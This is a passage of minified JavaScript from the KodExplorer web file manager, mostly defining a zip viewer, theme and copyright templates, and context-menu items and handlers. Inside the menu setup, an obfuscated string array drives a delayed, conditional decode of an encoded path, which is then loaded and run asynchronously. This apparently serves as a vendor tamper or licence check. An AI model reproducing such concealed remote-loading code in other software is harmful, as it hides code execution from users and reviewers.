a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),t,r),i=$.fn.zTree.getZTreeObj(l),v(l),u(i.getNodeByParam("index","-1",null))},g=function(e){var t=$(".zip_view_"+md5(e));if(t.length>0)return t.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(t){Tips.close(t),t.code?(_(core.pathThis(e),t.data,e),i.setting.filePath=e,i.setting.fileUrl=a):ui.pathOpen.openUnknow(e,t.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];k(),w(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),N(),S(),j(),P(),D(),F(),O(),x(),g(),m(),v(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),k(),w(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),P(),E(),D(),F(),O(),A(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('<i class="menuRecycleBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecyclePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecycleButton"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$('<i class="menuShareBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){z(e,i)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Delete</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"<b>Ctrl+C</b>",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('<i class="menuGroupRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('<i class="menuGroupRootMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('<i class="menuFavPath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuFavPathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},S=function(){$('<i class="menuTreeFavRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){R(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('<i class="menuTreeFav"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){R(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},P=function(){$('<i class="menuTreeFolder"></i>').appendTo("#rightMenu"),$('<i class="menuTreeFolderFav"></i>').appendTo("#rightMenu");var e={zIndex:9999,selector:".menuTreeFolder",callback:function(e){R(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20"></b>',className:"info",icon:"info",accesskey:"i"}}};$.contextMenu(e);var i={fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep0:"--------"};e.selector=".menuTreeFolderFav",e.items=$.extend(i,e.items,!0),$.contextMenu(e)},E=function(){$('<i 